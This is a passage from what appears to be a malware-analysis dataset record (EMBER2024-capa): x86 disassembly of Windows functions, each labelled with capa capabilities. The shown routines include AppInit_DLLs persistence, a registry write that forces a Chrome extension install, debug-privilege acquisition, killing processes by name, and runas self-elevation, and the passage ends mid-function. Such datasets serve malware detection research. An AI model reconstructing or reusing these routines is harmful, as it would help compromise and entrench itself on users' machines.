joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40cde0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492690
mov eax, dword fs:[0]
push eax
sub esp, 0x1a4
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1b0]
call fcn.004059a0
mov byte [ebp - 4], 1
push 0x494e40
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.00401db0
add esp, 0xc
mov byte [ebp - 4], 2
lea edx, [ebp - 0x198]
push edx
lea ecx, [ebp - 0x58]
call fcn.0040b200
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0xffffffff
je 0x40cf0b
mov eax, dword [ebp - 0x198]
and eax, 0x10
je 0x40cee2
lea ecx, [ebp - 0x16c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.00404cd0
mov byte [ebp - 4], 3
lea edx, [ebp - 0x28]
push edx
lea ecx, [ebp + 0x10]
call fcn.004079b0
mov byte [ebp - 0x199], al
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.00406b00
movzx eax, byte [ebp - 0x199]
test eax, eax
je 0x40cee2
lea ecx, [ebp - 0x16c]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00404cd0
mov byte [ebp - 4], 4
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x1b0]
call fcn.0040e720
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x40]
call fcn.00406b00
lea eax, [ebp - 0x198]
push eax
mov ecx, dword [ebp - 0x1a0]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40ce6d
mov edx, dword [ebp - 0x1a0]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x1b0]
push eax
mov ecx, dword [ebp + 8]
call fcn.004058d0
mov ecx, dword [ebp - 0x1a4]
or ecx, 1
mov dword [ebp - 0x1a4], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x58]
call fcn.00406b00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1b0]
call fcn.00406c70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call fcn.00406b90
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret
Function at 0x40d8d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.004716af
add esp, 8
push 0x494958
lea edx, [ebp - 0x204]
push edx
call fcn.0047163e
add esp, 8
mov eax, dword [str.fgimllnamdeacpaddbdafchhcmapebgj]
push eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.0047163e
add esp, 8
mov dword [ebp - 0x408], 0
push 0
lea edx, [ebp - 0x408]
push edx
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x204]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x40d95e
mov eax, 2
jmp 0x40da11
mov dword [ebp - 0x40c], 0
push str.https:__clients2.google.com_service_update2_crx
lea edx, [ebp - 0x404]
push edx
call fcn.004716af
add esp, 8
lea eax, [ebp - 0x404]
push eax
call fcn.004716d1
add esp, 4
lea ecx, [eax + eax + 2]
mov dword [ebp - 0x40c], ecx
mov edx, dword [ebp - 0x40c]
shl edx, 1
mov dword [ebp - 0x410], edx
cmp dword [ebp - 0x410], 0x200
jae 0x40d9b1
jmp 0x40d9b6
call fcn.0046c24f
xor eax, eax
mov ecx, dword [ebp - 0x410]
mov word [ebp + ecx - 0x404], ax
mov edx, dword [ebp - 0x40c]
push edx
lea eax, [ebp - 0x404]
push eax
push 1
push 0
push str.update_url
mov ecx, dword [ebp - 0x408]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40da02
mov edx, dword [ebp - 0x408]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 3
jmp 0x40da11
mov eax, dword [ebp - 0x408]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret
Function at 0x40f1c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x492960
mov eax, dword fs:[0]
push eax
sub esp, 0x130
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x138], ecx
push 0
push 0x1c
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp - 0x138]
mov edx, dword [ecx]
push edx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [ebp - 0x130], 0
jmp 0x40f226
mov eax, dword [ebp - 0x130]
add eax, 1
mov dword [ebp - 0x130], eax
mov ecx, dword [ebp - 0x138]
add ecx, 4
call fcn.0040f710
cmp dword [ebp - 0x130], eax
jae 0x40f2ee
mov ecx, dword [ebp - 0x138]
add ecx, 4
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x130]
push edx
mov ecx, dword [ebp - 0x13c]
call fcn.004074c0
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x134]
call fcn.0040b520
movzx eax, al
test eax, eax
je 0x40f2e9
mov ecx, dword [ebp - 0x134]
call fcn.0040b540
movzx ecx, al
test ecx, ecx
je 0x40f2e9
mov ecx, dword [ebp - 0x134]
call fcn.0040d060
movzx edx, al
test edx, edx
je 0x40f2e9
mov eax, dword [ebp - 0x134]
push eax
lea ecx, [ebp - 0x12c]
push ecx
call fcn.0040ace0
add esp, 8
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 0x12c]
call fcn.00407480
push eax
lea edx, [ebp - 0x114]
push edx
call fcn.0040e7e0
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.00406b00
jmp 0x40f217
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret

Function at 0x4115e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0
push 0
push 3
push 0
push 3
push bind
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x41160f
xor al, al
jmp 0x4116a9
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, dword [ebp + 0x10]
je 0x41162e
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x4116a9
mov eax, dword [ebp + 0x10]
push eax
push 8
mov ecx, dword [0x684024]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.0046dfdd
add esp, 0xc
test eax, eax
jne 0x411687
mov dword [ebp - 0x10], 1
jmp 0x41168e
mov dword [ebp - 0x10], 0
mov cl, byte [ebp - 0x10]
mov byte [ebp - 1], cl
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [0x684024]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [ebp - 1]
mov esp, ebp
pop ebp
ret
Function at 0x411830
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x18]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x411867
jmp 0x4118ae
mov edx, 0xc
imul eax, edx, 0
lea ecx, [ebp + eax - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [ebp - 0x14], 1
mov edx, 0xc
imul eax, edx, 0
mov dword [ebp + eax - 8], 2
push 0
push 0
push 0
lea ecx, [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret

Function at 0x4118e0
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.004116e0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x4119f9
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x4119f9
lea eax, [ebp - 0x204]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x5c
lea ecx, [ebp - 0x204]
push ecx
call fcn.00411fe0
add esp, 8
lea edx, [ebp - 0x40c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [ebp - 0x408]
xor eax, dword [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x204]
push ecx
push 0x49572c
lea edx, [ebp - 0x404]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 1
lea eax, [ebp - 0x404]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x4119e8
mov edx, dword [ebp - 0x408]
xor edx, dword [ebp - 0x40c]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x495740
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 1
lea edx, [ebp - 0x204]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x4119cf
xor al, al
jmp 0x4119fb
push 4
push 0
lea ecx, [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov al, 1
jmp 0x4119fb
push 4
push 0
lea edx, [ebp - 0x404]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret
Function at 0x411a10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004115e0
add esp, 0xc
movzx eax, al
cmp eax, 1
jne 0x411a34
mov al, 1
jmp 0x411a95
mov ecx, dword [ebp + 8]
push ecx
call fcn.004118e0
add esp, 4
movzx edx, al
test edx, edx
jne 0x411a4b
xor al, al
jmp 0x411a95
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x411a71
xor al, al
jmp 0x411a95
push 0
lea ecx, [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x411aa0
Capabilities:
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa10
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0xa08]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x411adc
mov eax, 1
jmp 0x411c69
mov dword [ebp - 0xa10], 0x400
push 0x400
push 0
lea ecx, [ebp - 0xa04]
push ecx
call fcn.0046f660
add esp, 0xc
push 0x400
push 0
lea edx, [ebp - 0x604]
push edx
call fcn.0046f660
add esp, 0xc
lea eax, [ebp - 0xa10]
push eax
lea ecx, [ebp - 0xa04]
push ecx
push 0
push 0
push 0x495774
mov edx, dword [ebp - 0xa08]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x411b51
mov eax, dword [ebp - 0xa08]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 2
jmp 0x411c69
mov ecx, 2
imul edx, ecx, 0
movzx eax, word [ebp + edx - 0xa04]
test eax, eax
je 0x411c5b
lea ecx, [ebp - 0xa04]
mov dword [ebp - 0xa0c], ecx
cmp dword [ebp - 0xa0c], 0
je 0x411c06
lea edx, [ebp - 0x204]
push edx
mov edx, 0x4957fc
mov ecx, dword [ebp - 0xa0c]
call fcn.00411740
mov dword [ebp - 0xa0c], eax
push 0x495800
lea eax, [ebp - 0x204]
push eax
call fcn.004140e0
add esp, 8
test eax, eax
je 0x411bb9
jmp 0x411c01
mov ecx, 2
imul edx, ecx, 0
movzx eax, word [ebp + edx - 0x604]
test eax, eax
je 0x411be6
push 0x495810
push 0x200
lea ecx, [ebp - 0x604]
push ecx
call fcn.00472df6
add esp, 0xc
lea edx, [ebp - 0x204]
push edx
push 0x200
lea eax, [ebp - 0x604]
push eax
call fcn.00472df6
add esp, 0xc
jmp 0x411b75
lea ecx, [ebp - 0x604]
push ecx
call fcn.004716d1
add esp, 4
lea edx, [eax + eax + 2]
mov dword [ebp - 0xa10], edx
mov eax, dword [ebp - 0xa10]
push eax
lea ecx, [ebp - 0x604]
push ecx
push 1
push 0
push 0x495814
mov edx, dword [ebp - 0xa08]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x411c5b
mov eax, dword [ebp - 0xa08]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 3
jmp 0x411c69
mov ecx, dword [ebp + 8]
push ecx
call fcn.004118c0
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret

Function at 0x414130
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x208], 0
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.004716af
add esp, 8
lea edx, [ebp - 0x204]
push edx
call fcn.004716d1
add esp, 4
lea eax, [eax + eax + 2]
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x208]
shl ecx, 1
mov dword [ebp - 0x20c], ecx
cmp dword [ebp - 0x20c], 0x200
jae 0x414195
jmp 0x41419a
call fcn.0046c24f
xor edx, edx
mov eax, dword [ebp - 0x20c]
mov word [ebp + eax - 0x204], dx
mov ecx, dword [ebp - 0x208]
push ecx
lea edx, [ebp - 0x204]
push edx
push 1
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret
Function at 0x414870
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 8]
mov dword [ecx + eax + 8], 0x67452301
mov edx, 4
shl edx, 0
mov eax, dword [ebp + 8]
mov dword [eax + edx + 8], 0xefcdab89
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp + 8]
mov dword [edx + ecx + 8], 0x98badcfe
mov eax, 4
imul ecx, eax, 3
mov edx, dword [ebp + 8]
mov dword [edx + ecx + 8], 0x10325476
pop ebp
ret

Function at 0x416fc0
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
lea eax, [ebp - 0x204]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x244], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x240]
push ecx
call fcn.0046f660
add esp, 0xc
mov dword [ebp - 0x240], 0x140
mov dword [ebp - 0x238], str.runas
lea edx, [ebp - 0x204]
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x23c], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x208]
movzx ecx, word [eax]
cmp ecx, 0x22
jne 0x4170a4
mov edx, dword [ebp - 0x208]
movzx eax, word [edx]
test eax, eax
je 0x4170a2
mov ecx, dword [ebp - 0x208]
movzx edx, word [ecx]
cmp edx, 0x22
jne 0x417091
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
mov ecx, dword [ebp - 0x208]
movzx edx, word [ecx]
cmp edx, 0x20
jne 0x41708f
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
jmp 0x4170a2
mov ecx, dword [ebp - 0x208]
add ecx, 2
mov dword [ebp - 0x208], ecx
jmp 0x417048
jmp 0x4170e1
mov edx, dword [ebp - 0x208]
movzx eax, word [edx]
test eax, eax
je 0x4170e1
mov ecx, dword [ebp - 0x208]
movzx edx, word [ecx]
cmp edx, 0x20
jne 0x4170d0
mov eax, dword [ebp - 0x208]
add eax, 2
mov dword [ebp - 0x208], eax
jmp 0x4170e1
mov ecx, dword [ebp - 0x208]
add ecx, 2
mov dword [ebp - 0x208], ecx
jmp 0x4170a4
mov edx, dword [ebp - 0x208]
movzx eax, word [edx]
test eax, eax
jne 0x4170f8
mov dword [ebp - 0x208], 0
mov ecx, dword [ebp - 0x208]
mov dword [ebp - 0x230], ecx
mov dword [ebp - 0x228], 1
lea edx, [ebp - 0x244]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
cmp dword [ebp - 0x224], 0x20
ja 0x417128
xor al, al
jmp 0x41712a
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret
Function at 0x417140
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x234], eax
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.0046f660
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x4171cc
mov eax, dword [ebp - 0x218]
cmp eax, dword [ebp + 8]
jne 0x4171b5
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4171db
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x417199
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret

Function at 0x4171f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x234], eax
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.0046f660
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x417289
push 0x495e3c
lea eax, [ebp - 0x20c]
push eax
call fcn.0047176f
add esp, 8
test eax, eax
jne 0x417272
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x417298
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x417249
mov ecx, dword [ebp - 0x234]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret

Function at 0x4172b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call fcn.004716d1
add esp, 4
add eax, 1
push eax
push 2
call fcn.004758c8
add esp, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.004716af
add esp, 8
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
push 0x417300
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret
Function at 0x417970
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x91c
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x914], eax
lea eax, [ebp - 0x910]
push eax
push 0x400
lea ecx, [ebp - 0x504]
push ecx
call sub.PSAPI.DLL_EnumProcesses
call fcn.00411830
mov dword [ebp - 0x908], 0
jmp 0x4179c7
mov edx, dword [ebp - 0x908]
add edx, 1
mov dword [ebp - 0x908], edx
mov eax, dword [ebp - 0x910]
shr eax, 2
cmp dword [ebp - 0x908], eax
jae 0x417acc
mov ecx, dword [ebp - 0x908]
mov edx, dword [ebp + ecx*4 - 0x504]
cmp edx, dword [ebp - 0x914]
je 0x417ac7
mov eax, dword [ebp - 0x908]
mov ecx, dword [ebp + eax*4 - 0x504]
push ecx
push 0
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 0
je 0x417ac7
lea edx, [ebp - 0x918]
push edx
push 0x400
lea eax, [ebp - 0x904]
push eax
mov ecx, dword [ebp - 0x90c]
push ecx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x417aba
push 0x80
lea edx, [ebp - 0x104]
push edx
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + ecx - 0x904]
push edx
mov eax, dword [ebp - 0x90c]
push eax
call sub.PSAPI.DLL_GetModuleBaseNameW
push 0x80
lea ecx, [ebp - 0x104]
push ecx
call fcn.00475878
add esp, 8
push 0x495e24
lea edx, [ebp - 0x104]
push edx
call fcn.0040fd10
add esp, 8
test eax, eax
je 0x417aba
push 0
mov eax, dword [ebp - 0x90c]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x91c], eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x90c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4179b8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret
Function at 0x417ae0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa40
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0
je 0x417c3f
call fcn.00411830
mov dword [ebp - 0xa34], 1
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 0xc]
mov dword [ebp + ecx - 0x804], edx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xa3c], eax
push 0x22c
push 0
lea eax, [ebp - 0xa30]
push eax
call fcn.0046f660
add esp, 0xc
mov dword [ebp - 0xa30], 0x22c
lea ecx, [ebp - 0xa30]
push ecx
mov edx, dword [ebp - 0xa3c]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x417bc1
mov eax, dword [ebp - 0xa28]
cmp eax, dword [ebp + 8]
je 0x417baa
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [ebp - 0xa18]
jne 0x417baa
mov edx, dword [ebp - 0xa34]
mov eax, dword [ebp - 0xa28]
mov dword [ebp + edx*4 - 0x804], eax
mov ecx, dword [ebp - 0xa34]
add ecx, 1
mov dword [ebp - 0xa34], ecx
cmp dword [ebp - 0xa34], 0x200
jb 0x417baa
jmp 0x417bc1
lea edx, [ebp - 0xa30]
push edx
mov eax, dword [ebp - 0xa3c]
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x417b64
mov ecx, dword [ebp - 0xa3c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xa38], 0
jmp 0x417be9
mov edx, dword [ebp - 0xa38]
add edx, 1
mov dword [ebp - 0xa38], edx
mov eax, dword [ebp - 0xa38]
cmp eax, dword [ebp - 0xa34]
jae 0x417c3f
mov ecx, dword [ebp - 0xa38]
mov edx, dword [ebp + ecx*4 - 0x804]
push edx
push 0
push 0x411
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0xa40], 0xffffffff
je 0x417c3d
push 0
mov eax, dword [ebp - 0xa40]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0xa40]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x417bda
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046c32a
mov esp, ebp
pop ebp
ret
Function at 0x4190c0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x66239c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], 0
push 0
push 0
push 3
push 0
push 1
push bind
mov ecx, dword [ebp + 0xc]
call fcn.0040b220
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x41911c
push 0x6433da
mov ecx, dword [ebp + 8]
call fcn.00404cd0
mov eax, dword [ebp - 0x24]
or eax, 1
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 8]
jmp 0x4191a8
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x28]
push edx
call fcn.0046c6d4
add esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
push 0
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x1c]
push edx
call fcn.00412090
add esp, 0xc
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.0046bed6
add esp, 4
lea edx, [ebp - 0x1c]
push edx
mov ecx, dword [ebp + 8]
call fcn.00404b10
mov eax, dword [ebp - 0x24]
or eax, 1
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x1c]
